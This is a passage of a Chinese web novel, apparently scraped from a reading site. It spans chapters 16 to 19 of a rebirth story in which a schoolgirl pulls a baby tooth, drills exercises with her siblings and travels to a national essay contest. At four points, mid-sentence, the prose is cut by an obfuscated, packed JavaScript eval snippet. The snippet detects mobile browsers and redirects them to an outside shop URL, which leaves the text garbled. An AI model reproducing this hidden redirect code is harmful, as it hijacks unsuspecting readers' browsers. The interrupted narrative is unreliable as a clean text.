“不是啦，就是没看到自己喜欢的。反正以后还会有比赛，我还有机会去省城甚至首城的。到时候有喜欢的再买。”筱芫刻意表现得十分自信，就是没说自己是不是出去一趟就把钱都花光了；不然老爸老妈他们肯定会因为心疼钱，舍不得用她买的东西，可能还会一直念叨。 褚父褚母看她这样，也不知道是不是真的被她蒙混过去了，没再继续纠结钱的事，催着几姐弟赶紧上桌吃饭，吃完饭去学习。 之后的日子，就在等待比赛成绩和继续学习复习、刷题中缓缓度过，除了褚父“偶尔”会“不经意”地向亲戚朋友显摆自己的新钱包，借机宣扬筱芫去省城参加作文比赛、全市就她一个之类的话；褚母会在家里来客人的时候，特地把丝巾系在头发上或者衣服上，然后引来所有人的赞叹和对筱芫的夸奖之外，没有什么波澜。 16. 换牙 第十六章好的发展 筱芫一开始还会觉得脸红羞耻得脚趾扣地，后来挺多习惯了，竟然也变得厚脸皮，能面不改色地接收下所有夸奖了。 但是与此同时，她也感觉到来自家人以外更多人的注目。这给了她压力，也让她每天学习复习的时候更加努力，在平时做完小学课程内容的复习后，开始了初中课程的学习。 本来学习都不错，也很认真的大姐二哥看她这么无时不刻地学习，想偷懒的时候都觉得不好意思，于是也只好跟着复习预习，做题的速度和准确率也都提了起来。 而还在幼儿园的细弟，在这种哥哥姐姐都很努力学习的氛围影响下，竟然和上辈子不一样，开始对数学有了兴趣。 对于家里的这种变化，筱芫隐隐有些开心，然后很积极地用新拿到的稿费，帮大姐二哥去书店搜罗适合的练习题，让大姐二哥可以尽情地刷题。 下个月就要期末考了，她觉得这次考试他们三姐弟说不定都能考得很好。终于感觉到自己重生后家里的改变，筱芫即便每天除了学习就是学习，正经历换牙的难受，也还是很高兴。 现在，得知自己作文省赛拿了一等奖，可以参加国赛的她，更高兴了！ “这次我们市里就只有你以及J实小学的何曼进了国赛，全省一共二十个人，国赛也是到省城现场比赛。如果能拿奖，才需要去首城。” 老班其实也很高兴，一向严肃的脸上一直带着笑，不过夸完她，老班又特地提醒她，“这周五出发去省城，回来再过两周就要期末考了。比赛归比赛，学习不能落下；老师知道你有提前预习自习，如果有什么地方不懂一定要问各科老师，不要不好意思。” “嗯嗯，老师，我知道。有问题我嘶……一定会来办公室问的。”筱芫用力点头，刚想咧嘴笑，那颗松动要掉的牙立刻就出来彰显存在感，疼得她倒吸了一口冷气，差点当场掉眼泪。 “噗嗤哈哈哈哈，所以我和你说觉得牙齿松动了就直接上手拔掉啊，拖久了它又长回去怎么办？”回到教室，听到她因为牙疼差点在办公室哭起来，李琪忍不住笑了好一会，直到被她怒瞪，才努力憋住笑说道。 筱芫捂着牙疼的半边脸，想到要上手拔牙，就已经感觉痛到整张脸都皱起来了：“我……我不敢啊！不能等它自己掉了吗，现在就拔会流血吧？肯定还很痛！” 她从小就痛感敏锐，就是打针她都会疼得哭个稀里哗啦。每回生病医生说要打针，她都像是要上刑似的；哪怕长大工作之后，她也还是十分抗拒打针。拔牙，还是自己上首，那就相当于百倍打针的痛，她实在不敢下手。 咳，这个事重生也改不了，她明知道按照其他人（包括上辈子从其他牙齿长得好看的人那取经）的经验，是及时把松动的牙拔掉会更好，但几次伸手碰到那颗牙，想到会很痛，她就又犹豫了；所以拖着拖着，就过了两天。 陈欢站在她桌前，听到她说不敢，似乎有点蠢蠢欲动，作势要上手：“既然你不敢，不如让我帮你吧？我会很快的，怎么样？” “呃……不要了吧。”筱芫险些心动，但是想想还是不行。 “可你不是又要出去比赛吗？牙一直疼会影响状态的，要是刚好比赛的时候牙掉了怎么办？”文悦一针见血地说出了她最担心的情况。 既然早晚都得痛，那长痛不如短痛；重生了不能改变她怕疼的体质，但总归可以努力变得勇敢坚强一点！经过了以上复杂的心理斗争，筱芫终于下定决心：“我知道了！在学校不方便，我放学回家就拔掉它！” 陈欢和李琪捧场地鼓掌，筱芫有些尴尬地捂住脸：“够了啊，我要看书了！” 于是，文悦笑着拉走了还想说什么的陈欢，李琪咳咳两声，装作无事发生地拿出下节课的英语书，背起了单词。 呼-筱芫揉了揉自己有点烫的耳朵，拿出英语练习题，看到题目的一瞬间，她就把乱七八糟的思绪都抛开了，一心答题。 “BettyandKittyaretwins.They’re12year......”她先是看了题干和选项，划出题干的关键词，然后回头读了一遍阅读理解题的选段，一边读一边把题干提及到的相关语句做标记，排除掉混淆、无关选项后，依次把选项对应到相关语句里，很快就得到了正确答案。 这种做题方法，到了高中也还是很好用。筱芫重生前，英语考试的阅读理解基本都是这么做的。做题做得很顺，她的心情也很愉快，连牙疼都想不起来了。 好像图书馆空间里，小学的练习题、试卷她都做 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16628146|187976||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得差不多了，得再去找些新的补充一下才行。 这么想着，放学后，她就拉着难得不去打篮球的二哥去了海叔的小书店。 “妹啊，你一天天地除了学习看书就是做题的，不会觉得头昏脑涨吗？去找你同学玩玩吧，别学得走火入魔了！”褚维江无奈地被自家妹妹拉到书店，看她翻看新到的数学综合练习题的沉迷样，顿时想到最近看的武侠小说里的剧情，忍不住说道。 筱芫正在心里想着怎么答题，听见二哥这么说，头也不抬地回道：“不会啊，每次做出一道题都会很有成就感，所以只会越做越精神。二哥你才是看《射雕英雄传》看太入迷了吧，什么都说走火入魔。” 前些天二哥跟他同学借了两本武侠小说，迷得不行，就差半夜躲在被子里用手电筒看了。要不是最近家里的学习氛围浓厚，他们三姐弟都在较着劲学习，二哥他说不定连作业都会忘了写。 “因为好看啊，仗剑江湖、锄强扶弱，路见不平，拔刀相助，多酷啊！看我的降-龙-十-八-掌！” 二哥的中二台词一出，筱芫忍不住乐了，从练习题里抽回注意力，对正摆着pose的他指了指后边：“哥你不觉得自己现在有点傻吗？看，别人都在围观你了！” “咳、咳！”被她一说，二哥似乎才想起来这是在外边，顿时僵住一秒，然后装作什么事都没有地收回动作，走到她旁边随便拿起一本书，“你看什么看得那么认真？数学题？会做吗？” “还可以，小学的课我都自学完了，只要不是太难的题，我做着都很顺。这本练习题不错，买回去哥你也可以做做。它里边会稍微延伸一下初中知识点会怎么解答，正好可以用来预习初中课程。”没想拆穿二哥的故作淡定，筱芫顺着他的话转开话题，认真地推荐起自己刚刚看的六年级数学教辅书。 一推荐，她就停不下来了，算算上次刚拿到的稿费老妈没收，够买自己挑出来的这些教辅书练习题。 于是，来的时候只说是看看，结果回去的时候，两个人都抱着一摞书。 回到家，吃完饭，二哥向大姐吐槽：“下回，我绝对不跟细妹一起去书店了。太魔鬼了！学校老师发的练习题卷子已经那么多了，我都还没来得及做完，她每次去书店还要搬一堆练习题回来。” 17. 差点忘了 第十七章差点忘了 “多做些题也没什么不好。你还有一学期就毕业了，如果可以的话还是报考其他学校，这里的初中不太好，跟外边其他学校的完全不能比。我们班老师都说，我们中考要想考到好高中，至少得在平时的分数上再考多30分。”大姐褚希桦说着叹了口气。 筱芫大概知道大姐是在担心什么，他们这儿最近的初中是跟小学一样的村属初中，占地面积比小学还要小很多，从外边看就是普通居民楼；记得她上辈子上初中的时候，有个从省城转学回来临时借读的女生是这么说他们这个初中的—— “还没有我在省城上学学校的厕所大。” 这话让当时的她无比震惊，以至于这么多年都没忘记那个类比。 学校小，自然教育资源也远远跟不上其他学校；本地的学生几乎很少会直升初中，能考上其他学校就考，考不上的家里有钱的也会花钱买名额去其他学校读。没有生源，村里自然不会出钱给学校更换教学设备、更新教育资源，学校条件不好，学生当然不想来，所以恶性循环下来，村里的初中就越来越不行了。 不过，她记得大姐那一年，村初中还好，中考有两个考上市里两所重点高中的学生之外，考上其他普高的也不少，升学率不算太难看。到了她那一届，才开始越来越不行。 这些不好和大姐说，既然大姐是担心中考，也觉得做题有用…… “大姐，我也给你带了两本教辅书，是专门针对初中课程的，但也有和小学知识结合起来，对巩固基础应该很有用。”筱芫翻出给大姐带的教辅书，一副得意的样子看向二哥，“还是大姐懂我的一番苦心，二哥你得认真点啦，不然到时候咱们全家就你成绩最差，你就要羞羞脸啦！” 上辈子二哥没在这儿读初中，而是回了老家那边上学。如果说这里是十八线小县城，那老家那里就是真正的山旮旯，因为从山里去学校上学，得翻山越岭，走几十里的山路去上学，所以学校要求所有学生都必须住宿。 然后因为学校食堂不提供饭菜，只帮学生炊饭热菜，所以当时每星期学生们都得自己准备一个星期要吃的米跟菜带到学校。 好的菜肉山里的孩子都吃不起，所以大多数学生都是带的腌咸菜、家里情况好点的再带一点腌肉腊肉。带到学校了，还得防着不要被别人偷吃了，不然剩下的几天就只能饿肚子了。 二哥当时就有几次被人偷吃掉带去的咸菜，结果只能单吃白饭，写信回来的时候又不敢和家里诉苦，所以一个学期下来，人都瘦了好一圈。筱芫还记得那个寒假二哥从老家下来县城时，她差点没认出来，因为二哥变得又黑又瘦，性格也变了不少。 这辈子，她希望大姐能去个更好的高中，二哥不用转学回去老家，哪怕只是读一年。 眼下看来，重生之后很多事都有了好的改变，说不定大姐二哥的未来也会不一样。 有好的趋势就要趁热打铁，继续努力才对！筱芫想着拿出新买的练习题，看向大姐二哥：“大姐，二哥，来比赛吧，你们写作业，我作业写好了，就换成做完这本练习题的前五页，看看谁先搞定，怎么样？” 大姐二哥同意了，三姐弟拿着作业、题册围坐在饭桌上，都不再说话，低下头奋笔疾书。 ……一个小时后，超额完成预定目标的筱芫，被牙疼打断了继续刷题的打算，她终于想起来自己说过的话，颤抖着离开习题，决定先去向老妈请教怎么拔掉在松动的牙再进行实践。 褚母看她捂着左脸跑过来，就猜到她是怎么了，无奈地说她：“前几天让你记得没事摇晃一下那颗牙，看差不多熟了就拔掉，你是不是没听？张大嘴，我帮你看看。” 被说中有点心虚，筱芫不敢说话，乖乖地张大嘴巴，任由老妈检查那颗牙的情况，哪怕有点痛也不敢动。 但是在老妈预备帮她拔掉牙的时候，她还是害怕，整个人不自觉地往后缩了缩。 “到底要不要我帮你拔？不要我就取药忙着收拾了，收拾完我还要洗头。”老妈对她有些无语，发出了最后“警告”。 筱芫有点愧疚，她知道老妈每天去工厂干活，回来还要忙家里的家务，这么冷的天还只能大晚上才有时间洗头。所以她心理斗争了三秒，决定还是勇敢尝试自己拔，她不能总指望老妈来帮她。 “还是我自己来吧，妈你快去洗头，我拔完牙来收拾就好，反正作业已经做好了。”她把老妈手里的扫把抢了过来，推着老妈去洗头，“太晚洗头会头痛的！” 老妈看了一眼时钟，可能是估摸着时间还早，拒绝道：“你小孩子好好学习就好了，这不用你干。” “哎呀，妈！你快去洗头洗澡啦，扫地又不是一定要现在，明天也可以啊。你要是一定要现在就扫地拖地，那就让我们四姐弟来！” “不用不用，我明天再做就是了。你们别捣乱，好好读书就是帮忙了。”或许是觉得再说下去更耽误时间，又或者是听进了她的话，老妈还是改了主意先去洗头。 筱芫满意地点点头，回过身，又苦着脸站在洗漱台的小镜子面前，吸气呼气，反复地给自己做心理建设，然后伸出两只手指，捏住松动的牙前后左右摇，最后眼一闭，一狠心，手用力一摇一拔！ 诶？ 居然不是很痛？！就一点点酸胀的隐隐的疼，完全没有想的那么痛。 再看看拔`出来的乳牙，没有带血丝，她用手指摸了一下拔掉牙后光秃的牙龈，也没感觉到有出血的情况。她不放心地拿了张纸，对着镜子张大嘴，左看看右看看，确定真的没出血后，终于放心了。 原来拔“熟了”的松动乳牙也没那么可怕嘛。筱芫忽然心中充满了信心，觉得下次要拔乳牙，她肯定不会那么害怕了。 按照老一辈人有点迷信的说法，上边换的牙要丢到床底下，下边的牙要丢到屋顶，那样才能让牙长得齐整。只是之前老妈老爸特地说过，筱芫觉得丢哪儿都没关系，想了想把牙包在纸巾里边，整齐地折好，然后放到了床底角落里。 拔完牙，她拿着扫把 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16628147|187976||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，开始一边小声地背英语单词，一边扫地：“pen钢笔、pencil铅笔、ruler尺子……” 等她背完一次小学英语课本的所有单词，地也扫好了，正好喝杯水，再接着拖地，这次她背的是语文诗词和要背诵的课文。 刚拖地没多久，手里的拖把就被大姐拿了过去：“我来就好了，你去玩会。” “要劳逸结合，整天学习会学傻的。当然，更主要的原因是，你太用功会显得你哥我很拉诶，快去玩会。”二哥把水桶盛满水提了过来，嬉皮笑脸地故作抱怨道。 正想和大姐说没事的筱芫立刻冲着二哥哼哼：“你就是想骗我不要学习，我才不听你的呢！我偏要用功，哼！” “哼哼哼的，你是小猪吗？”二哥毫不在意，反过来笑她。 “略略略，我是小猪，那你也是大猪。小猪可比大猪可爱多了！”上辈子小的时候，被二哥这么说筱芫可能会生气到哭，但是如今的她已经进化了，立刻回怼道。 “我又没哼……”二哥刚想继续和她拌嘴，就被大姐阻止了： “好啦，你们别闹了。先拖完地吧，不然一会儿，妈就洗好出来了。” 两人只好暂时“休战”，眼看插不上手，筱芫决定洗脸刷牙，然后回自己跟大姐的房间上床睡觉，睡觉前先进空间看会书。今天她打算给自己放松一下，不复习预习也不刷题，就看小说。 这本小说是03年左右出的台言，女主灰姑娘男主霸道总裁那种，狗血与天雷齐飞，十分酸爽，让人一边吐槽一边又忍不住往下看。要不是在图书馆空间里翻到，她都不记得自己还看过这么一本小说。 认真讲，这本小说虽然有点小白，但它的一些套路在十几年后的网络文学里还是十分盛行，剧情节奏什么的也很不错，如果改成偶像剧的话，应该也会有很多人喜欢看。 看着看着，她就忍不住从编剧的角度一条一条分析起来，习惯性拿起笔做记录，全然忘记了自己原本想要放松的目的。 等剧本大纲都完成了，她才想起自己是想看本小说作为消遣的，结果又变成了另一种方式的学习…… 筱芫对自己无语了两秒，看着手里的剧本大纲，想了想，干脆放弃看小说消遣的打算，还是继续做题吧。 于是，她熟练地从旁边的书架里抽出一本习题，平息静气，将大脑里因为看小说引起的杂乱思绪全部清空后，才翻开习题。 做起题来，她很难注意到时间流逝，所以也不知道过了多久，一本习题做完的时候，她听到了大姐回房间关门、关灯的声响，还有老妈催细弟赶紧睡觉的声音，才确定应该不早了。 最近学习进入状态后，她已经很少在空间里待整个晚上不睡了，所以她确定已经很晚了，就从空间睡觉。 迷迷糊糊快睡着的时候，她忽然感觉自己好像忘记了什么事。 忘了什么呢？她还没想到，就睡着了。 第二天起床，用冷水泼脸醒神的时候，筱芫终于想起自己忘记什么了—— 18. 再次出发 第十八章再次出发 她忘了跟老爸老妈说自己进了国赛、周五就要去省城参赛的事了！ 听到她说周五又要去比赛，原本都走到门口的褚父立刻停住脚步，退回来听她说这次国赛不用去首城，还是去省城，赛场还是省城大学。 “你也真是的，这么大的事，居然也忘了说。还好明天才是周五，今天收拾你出去要换的衣服还来得及！”褚母一开始听成是今天，差点顾不上吃早饭，就要去给筱芫她收拾东西了，后来听清楚是周五，才重新坐下吃饭。 她也不知道自己怎么就忘了啊……筱芫无奈挠头：“不用紧张啦，也不是第一次了，天这么冷，就一个晚上而已，随便都行，不换也可以。 这个提议被褚父率先否定：“不能随随便便，别人会看不起的。至少穿件好点的外套。我拿钱给你妈，她带你去买。就当是提前买过年的新衣服了。” 就这样，筱芫中午放学后的行程不得不增加了一个买衣服的事项。 她倒不是不想要新衣服，只是她觉得没必要。家里现在的经济条件不算好，筱芫还想让家里尽早买上房…… 而且老爸老妈说是提前买过年的衣服，但这个时候家里还是很遵循以前的老传统老风俗的，过年的新衣服必须是大年三十洗澡之后才能第一次穿，不然意头不好。所以过年前，肯定会再买新的衣服。 但是不管她怎么劝，最后新外套还是买了。 筱芫提着装着新外套的袋子，默默在心里琢磨着：还好，作文省赛一等奖的奖金是五千加上笔记本钢笔之类的文具奖励，老班说下周一就会发。有了这笔钱，今年过年家里应该不会向前两年那么拮据了。 买衣服逛街确实很费时间，她把新衣服放好后一看时间，已经要两点了。都没有时间睡午觉，老妈匆匆忙忙赶去工厂，筱芫也背着书包跑着去上学。 好在没有迟到，她还能有十分钟趴在桌上眯一会儿。 课间闲聊的时候，她和李琪陈欢还有文悦聊天的时候，说起了最近学校流行的小零食，李琪她们不约而同地认为上回她从省城带回来的小零食最好吃。 “你明天去省城，还会买手信吗？”李琪说着，渐渐生气，“要是买的话，你帮我带一罐吧。上回你给我的，我带回去就被我弟抢走了。我就只吃到你塞到我嘴里的那一个！” “还有我！”陈欢立马举手附议。 文悦也有点想要，但是又有点犹豫：“我……我也想要，不过如果出去外边买东西不安全的话，就算了。” 筱芫记得那种小零食一罐也就五块钱，不算贵；如果老师这次不同意他们出去的话，说不定也可以问旅店的老板娘能不能帮忙买；但是她也不敢打包票一定可以：“如果能买到我就买，当作送你们的手信。” “不然还是算了。不是一定要买的，安全第一！”文悦不放心地说道。 “嗯嗯嗯，不能出去就算啦，反正我也只是嘴馋，哈哈！” 李琪说着，拿出从学校小卖部买的小辣条、猪油糖等小零食，放到桌上，很豪气地道，“来来来，一起吃，反正带回去都会被我弟吃了，我妈还得说我不对。还不如咱们一起吃掉。” “我哥也是，老抢我的东西吃，气得我天天和他吵。”陈欢十分有同感地点头。 筱芫向来不吃辣条，不喜欢辣条的味道，所以她只吃了一包咪咪虾条。 大家都明白的，辣条之类的小零食的味道挺大的，尤其在冬天门窗都关掩着的教室里，气味更是明显。于是老班来上课的时候，一进教室就皱紧眉头，扫视一圈，立刻锁定了目标，看向筱芫和李琪这桌。 就在两人以为要被老班批评一顿的时候，老班却移开了视线，只轻描淡写地说了一句“最好不要在教室里吃东西”，就把她们轻轻放过了。 李琪松了一口气，趁老班转身上讲台的瞬间，对筱芫扬眉皱脸作怪表情；筱芫知道她是觉得连累自己被老班说了，强忍住笑意对她摇摇头，表示没关系。本来就是一起吃的东西，哪里能怪谁连累谁？ 因为这个插曲，李琪上课的时候更认真了，力求让老班不要课后找她去办公室。 筱芫倒没有这么紧张，她觉得老班没再说就应该不会多提了，不过她很“坏心”地没提醒李琪，毕竟上课认真没什么不好，正好还有两周多就期末考了。 今天，她依旧是在学校把作业做完了才回家，因为二哥今天值日，她去和二哥拿了钥匙自己先回家。 她准备先收拾好去省城要带的书包，然后去图书馆空间看看有没有针对这种全国作文比赛的训练题，要是没有就练字，她也有半个月没摸过字帖了。 本以为她会是第一个回到家的，没想到到家的时候，刚准备掏钥匙开门，老妈就从里边把门打开了。 “妈，你今天这么早回来啦？工厂不忙吗？”筱芫疑问道，又发觉没听到细弟玩闹的声音，联想到上辈子，不由皱起眉头，“细弟呢？” 褚母叹了口气，摆摆手：“没事，厂里做工都是计件的，早回来也就是少做少赚而已。你细弟又说肚子不舒服，老师打电话给厂里，让我去带他回家。估计是衣服没遮好肚子，受了风，回来给他擦了风油精，现在睡着了。” “我去看看细弟，妈你也别太担心了，细弟可能就是肚子受风了，擦风油精过会就会好的。” 筱芫一时不知道怎么接话，只能这么说着，走向二哥和细弟的房间。 可能是因为小的时候吃得不好营养不够，他们一家人身体底子其实都不怎么好，体质偏弱，肠胃也不太好；一到转季或者天气不好的时候，家里就总有人生病，甚至还有全家人一块生病的时候。 因为读书时期身体经常生病请假，缺课、跟不上其他人的学习进度就成了必然。 她盘算着除了买房之外，还得找机会说服老爸老妈，全家一起做次体检，看看怎么调养好身体才行。不过不管到时候要怎么说，最重要的问题还是钱。 一分钱难倒英雄汉，到医院做全身检查要花钱，老爸老妈肯定会舍不得，觉得没事去医院检查身体是钱多烧得慌才会干的事。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16628148|187976||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看着安静睡着的细弟，确定他没有发虚汗、额角也不烫，筱芫轻轻呼了口气，转身出了房间。 还是先不想那么多吧，把能做的先做好再说。她努力学习，不用交学杂费和借读费也是给家里赚钱。 从学校给比赛的奖金来看，只要努力一点，说不定她不用太久就能帮家里买个房子？筱芫乐观地想着，总要给自己点希望，才能继续努力前进嘛。 褚母已经开始煮饭择菜了，今天难得有两菜一肉，花椰菜芥蓝和一小盒卤水猪头肉。 看到走过来想帮忙择菜的筱芫，她直接摆手拒绝：“就两样菜，不用你帮忙。明天你要去省城，赶紧把要带着的东西衣服收拾好就行。明天还是跟上次一样的时间，到学校门口集合吗？” “唔，去学校和我们班主任一起出发，集合地点是在市政府门口。跟上次一样，坐包车去省城。”筱芫这次没听话，一边抢着择菜一边回答道。 褚母拿她没办法，也不说了，看她择菜直接丢掉了一大截菜茎，顿时心疼地念叨：“哎，不是这么择菜的。这些都是好吃的，全都丢了多浪费。两块钱一把菜呢，你这么择菜，咱们一家肯定不够吃啊。” 筱芫盯着手里还有好长一截菜茎的花椰菜，默默地收回掐掉菜茎的动作，把它放进洗菜蓝里。 重生回来后她就没择过菜，都忘了这会不是二十年后，不好吃的花椰菜菜茎、菜叶不能扔掉浪费。 “行了，你快去收拾你自己的东西吧。这回出去可别吵着让老师带你们去买手信了，别给老师添麻烦，知道吗？”褚母觉得她在帮倒忙，又一次让她赶紧去收拾东西。 筱芫这回听话地走了，回到房间，随便折了一身里衣裤放进书包，她就坐到床上，拿着专门用来写文投稿、记录灵感的本子，进入空间。 她在图书馆空间里的教辅书类一栏找了好久，没找到类似全国作文大赛之类的竞赛作文练习合集，倒是翻到了一本08年的高考作文优选。 然后她想了想，按照暂时摸索出的图书馆规则，只有她买过、或者看过至少封面扉页目录内容的书才会出现在图书馆空间里头。 自己好像确实没买过，也没看过作文比赛的相关指导书或者竞赛作文精选；08年的高考作文优选没记错的话是二哥买的，她初中的时候看过。 那就不奇怪了。筱芫想着，突然有了一个和图书馆空间有关的脑洞，也顾不上想竞赛文的事，赶紧拿起笔记了下来。 写完新的脑洞，她照着自己原本的打算，先练习字帖，然后吃完饭回来再接着英语数学各做一套题。 等她做完题出空间时，四处都静悄悄的，大家都已经睡熟了。 她打了个呵欠，躺在床上舒展了下身体，想着这段时间做的事，之后她还能做点什么，渐渐地就睡着了。 “喔-喔-喔——” “汪！汪汪！” 在公鸡打鸣声和狗叫声中，筱芫十分艰难地从被窝里爬了出来，天气越来越冷，每次起床她都觉得像是在和自己作斗争。 19. 再次现场比赛 第十九章国赛进行中 为了提神，顺便也能锻炼身体，她起床之后先做了一套广播体操，让整个身体都舒展开，再去洗脸刷牙的时候，人就精神多了。 和上次一样，这次也是老爸送她去学校，到了学校门口，老爸说了几句让她注意安全好好加油的话之后，又从裤兜里摸出五十块钱塞到她手里：“钱收好，别让人看见了。要是想买东西就买，别饿着。” 筱芫抿了抿嘴，点点头。 这回去省城的学生就只有两个，但是老师却安排了四个。小客车坐着感觉比中巴、大客车都要颠簸很多，筱芫本来就有点晕车，为了不那么难受，她一路上都呆在空间里没出去。 可在老师们看来，她这样明显就是不舒服，才一路睡到了省城；所以一下车进旅店，他们就一边问她感觉还好吗，一边拿着装了葡萄糖水的保温杯给她喝。 这次他们市就只有两人进了国赛，但在全省来说已经比例很高了，所以市里还是很重视的，他们自然紧张学生的状态。 筱芫对老班摇摇头解释道：“老师，我真的没事。我害怕会晕车，所以一上车就睡了，刚刚只是因为还没睡醒才那样。” 几位老师这才放心下来，让她们俩在房间好好休息，然后就走了，去对面的房间。 送走老师，关上门，房间里的完全陌生的两人对视一眼，尴尬的气氛在房间里弥漫。 感觉面前和自己要成为临时室友的女生好像很腼腆害羞，筱芫想了想，决定主动出击：“你好呀，我……”“你好同学，我……” 没想到两人同时开口，她楞了一下，看着对方也有点懵的表情，忍不住笑了出来：“姐姐你好呀！我今年三年级，叫褚筱芫，姐姐你呢？” “哈哈，妹妹你好，我叫何曼。正在准备中考的初三生，每天做题复习都快学傻了，还好能借着比赛出来透透气。”何曼也笑了，语气爽朗地接过话，“还是小学的时候最轻松，没那么大的升学压力。” 因为她乍一看神似87版红楼梦里的林黛玉，筱芫下意识以为她是很文静腼腆、需要被呵护的类型，说话都想要轻声一点，没想到人一开口，那反差瞬间打破了自己对她的滤镜。 估计是筱芫的表情太明显，何曼一下子就看出来了，不由摸着脸略有些得意道：“嘿，你也以为我长这样应该是文文静静的性格吧？从小到大，不管是亲戚还是学校老师，一看到我，就总会夸我文静乖巧。虽然有点烦，但是有时候也挺占便宜的。” 何曼没接着说，毕竟她们也才刚见面，说这么多已经有点交浅言深了。 但是筱芫却能想得出她没说完的话。因为实话说，筱芫她自己也是占了这种便宜的人。文静又乖巧的孩子，在大人眼里是天然有滤镜的；如果长得好看，那更是双倍滤镜。 她适时地转开话题：“我们一会是不是在旅店里吃啊？还是会出去附近的小饭馆？” “是吧，上次就是在楼下吃，旅店定的盒饭。”何曼顺着她的话回答道，似乎觉得无聊，她从背包里翻出一盒飞行棋问她，“玩飞行棋吗？” 看着时间还早，筱芫从上辈子到现在也有好多年没玩飞行棋了，有点想玩就答应了。 于是两人就坐在床上，这么你来我往地玩了半天飞行棋，直到老师来喊她们下去吃晚饭才意犹未尽地结束。 有了一起玩飞行棋的经历，筱芫和何曼自然地熟悉了很多，吃完饭重新回到房间的时候，还讨论起了这次国赛。 “听说国赛后，得了一二等奖可以报名参加到夏令营，去Q大、B大参观学习。”何曼压低声音，一副神神秘秘的样子对筱芫说，“这个活动参加了好像对之后大学的自主招生有帮助，好多人花钱都想进去呢。” 高考前会有大学进行自主招生这事，筱芫是上辈子高考进大学之后，才听一个室友说的。之前她听都没听说过，不过也可能和当时她读的是普通高中有关，不太能接触到这些信息。 但是这辈子有机会，说她不想试试，那是不可能的。只是…… “那得了一二等奖的人参加这个夏令营要交钱吗？”她装作第一次听说，感兴趣地追问道。 何曼摸着下巴，像是回想了一会，有些不确定：“我们师姐没说，老师应该知道，但是我没问。你才这么小，也想参加吗？” “我就是好奇，而且Q大B大诶，全国最好的大学，谁不想去看一看感受一下呢？”筱芫感叹着，想到上辈子流传很广的一个梗，突然开玩笑道，“毕竟从小，我爸妈他们就会说让我以后考这两所大学；我得去看看才能确定要不要考啊。” “去看看哈哈哈哈哈……”何曼一听就懂了，顿时笑到差点喘不过气来，稍微能忍住笑了，配合地接话，“没错没错，你说得对，那我也得努力才行。不然连那学校要是不行，我不就被耽误了哈哈哈哈哈！” “啊不行不行，我肚子都笑痛了。你也太逗了。”何曼忍不住又笑了半天，然后擦擦笑出来的眼泪，揉着肚子躺到床上，侧过身对筱芫说。 上辈子看到这个梗，她就笑过了，筱芫一本正经地解释：“我没逗你啊，难道叔叔阿姨没在你小时候这么跟你说吗？” 何曼摇摇头。 “那不就是了。”筱芫说完肯定地点点头，“所以我说的没错。” 何曼一边抱着枕头笑，一边对她竖起大拇指。 正笑着，忽然传来一阵敲门声，何曼放下枕头跑到门边，从门缝里往外看了看，又问了句是谁，确定是老师才开门。筱芫也下床走到了门边。 老师过来，是特地来提醒她们明天八点出发去被设为比赛场地的省城大学，并让她们早点睡的。 说完该说的，老师就让她们赶紧关上门、反锁好。筱芫她们当然照做了，反锁上门之后，她们才听到老师从门口离开，回房关门的动静。 被老师这么一提醒，两人都没有了继续聊天或者玩飞行棋的想法，索性上床关灯睡觉。 第二天，比赛现场—— 这次的比赛现场是一个很大很新的阶梯教室，桌椅看上去都是全新的，监考老师比上次多 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16628149|187976||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了两个。参赛的学生按照比赛分组被分成了三排，正好除了坐在台上的监考员，其他老师一人负责巡视一排。 进场及之后的流程和上次一样，没什么不同，就是国赛时间更充裕了，多了一个小时。 筱芫坐在座位上，捏了捏有点汗湿的手心，调整呼吸让自己进入状态。 拿到试题后，她立刻翻到作文题的部分，把三个题目大概看一遍，将有灵感有想法的题目连同灵感设想一起记到草稿纸上。然后就放在一边，回过头做阅读能力综合题。 这次的阅读能力综合题比上次要难，需要把问题和给的文章结合起来多看几次，才能得出答案。所以筱芫多花费了一点时间才完成阅读能力题。 